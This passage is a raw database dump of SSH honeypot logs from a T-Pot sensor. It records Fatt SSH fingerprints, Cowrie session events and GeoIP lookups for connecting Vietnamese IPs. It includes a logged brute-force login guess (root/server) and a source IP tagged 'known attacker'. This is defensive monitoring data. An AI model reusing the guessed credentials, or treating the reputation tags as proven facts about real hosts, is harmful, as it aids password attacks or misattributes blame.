"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37734, "timestamp": "2021-09-20T11:07:39.590725", "@timestamp": "2021-09-20T11:07:39.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23463	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.626049+03	2021-09-20 14:15:07.540473+03	{"_id": "5AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55918, "timestamp": "2021-09-20T11:07:39.626049", "@timestamp": "2021-09-20T11:07:39.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23464	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.628327+03	2021-09-20 14:15:07.5415+03	{"_id": "5QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55980, "timestamp": "2021-09-20T11:07:39.628327", "@timestamp": "2021-09-20T11:07:39.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23465	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:39.724729+03	2021-09-20 14:15:07.5425+03	{"_id": "5gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38834, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.724729", "@timestamp": "2021-09-20T11:07:39.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23466	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.768926+03	2021-09-20 14:15:07.54347+03	{"_id": "5wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7402, "timestamp": "2021-09-20T11:07:39.768926", "@timestamp": "2021-09-20T11:07:39.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23467	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:39.902496+03	2021-09-20 14:15:07.54447+03	{"_id": "6AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55918, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.902496", "@timestamp": "2021-09-20T11:07:39.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23490	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.973322+03	2021-09-20 14:15:07.573472+03	{"_id": "_wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b9052ed4dd93", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.973322Z", "@timestamp": "2021-09-20T11:07:39.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23468	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:39.974366+03	2021-09-20 14:15:07.546502+03	{"_id": "6QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40158, "timestamp": "2021-09-20T11:07:39.974366", "@timestamp": "2021-09-20T11:07:39.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23469	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.282199+03	2021-09-20 14:15:07.547471+03	{"_id": "6gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0d49933d856e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.282199Z", "@timestamp": "2021-09-20T11:07:39.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23470	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.346345+03	2021-09-20 14:15:07.548501+03	{"_id": "6wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9c6d5e401cea", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.346345Z", "@timestamp": "2021-09-20T11:07:39.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23471	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.383353+03	2021-09-20 14:15:07.549471+03	{"_id": "7AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "10000255190e", "@version": "1", "duration": 2.2315549850463867, "timestamp": "2021-09-20T11:07:39.383353Z", "@timestamp": "2021-09-20T11:07:39.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23472	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.454007+03	2021-09-20 14:15:07.551473+03	{"_id": "7QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/server] failed", "session": "a384d2f88b02", "@version": "1", "password": "server", "username": "root", "timestamp": "2021-09-20T11:07:39.454007Z", "@timestamp": "2021-09-20T11:07:39.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23473	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.542144+03	2021-09-20 14:15:07.552471+03	{"_id": "7gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "614f4ac7b02e", "@version": "1", "duration": 2.5729386806488037, "timestamp": "2021-09-20T11:07:39.542144Z", "@timestamp": "2021-09-20T11:07:39.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23474	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.561282+03	2021-09-20 14:15:07.553471+03	{"_id": "7wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", 